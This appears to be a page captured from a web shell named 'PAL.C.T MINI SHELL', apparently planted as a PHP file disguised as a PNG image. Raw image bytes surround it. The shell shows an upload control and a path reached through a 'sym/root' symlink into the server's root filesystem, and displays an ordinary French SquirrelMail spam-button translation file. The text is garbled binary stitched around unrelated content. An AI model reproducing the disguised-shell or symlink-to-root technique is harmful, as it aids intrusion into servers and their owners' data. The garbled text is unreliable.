php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/fr_FR/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/fr_FR/LC_MESSAGES/spam_buttons.po

# French SquirrelMail spam_buttons Plugin Translation File
# Copyright (c) 2005-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Intri Geri <intrigeri@boum.org>, 2005.
#
msgid ""
msgstr ""
"Project-Id-Version: Spam Buttons Plugin 1.0\n"
"POT-Creation-Date: 2005-03-09 12:35-0800\n"
"PO-Revision-Date: 2005-09-04 12:16+0200\n"
"Last-Translator: Intri Geri <intrigeri@boum.org>\n"
"Language-Team: French <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"

msgid "Server replied: "
msgstr "Réponse du serveur : "

msgid "Spam"
msgstr "Spam"

msgid "Not Spam"
msgstr "Non-spam"

msgid "Successfully reported as spam"
msgstr "Appris comme spam avec succès"

msgid "Successfully reported as non-spam"
msgstr "Appris comme non-spam avec succès"

msgid "ERROR:"
msgstr "ERREUR :"

msgid ""
"ERROR: Counld not open temp file; check attachments directory permissions"
msgstr ""
"ERREUR : impossible d'ouvrir le fichier temporaire : vérifiez les "
"permissions du répertoire des fichiers joints"

#, c-format
msgid "ERROR %d: Problem reporting message ID %d: %s"
msgstr ""
"ERREUR %d : Il y a eu un problème lors de l'apprentissage du message numéro %"
"d : %s"

#, c-format
msgid "Error: Draft folder %s does not exist."
msgstr "ERREUR : Le répertoire de brouillons %s n'existe pas."

msgid "Message Details"
msgstr "Détails du message"

msgid "Bodystructure"
msgstr "Corps du message"

msgid "Entity"
msgstr "Entité"

msgid "Content-Type"
msgstr "Type de contenu"

msgid "Name"
msgstr "Nom"

msgid "Encoding"
msgstr "Encodage"

msgid "RFC822 Message body"
msgstr "RFC822 : corps du message"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`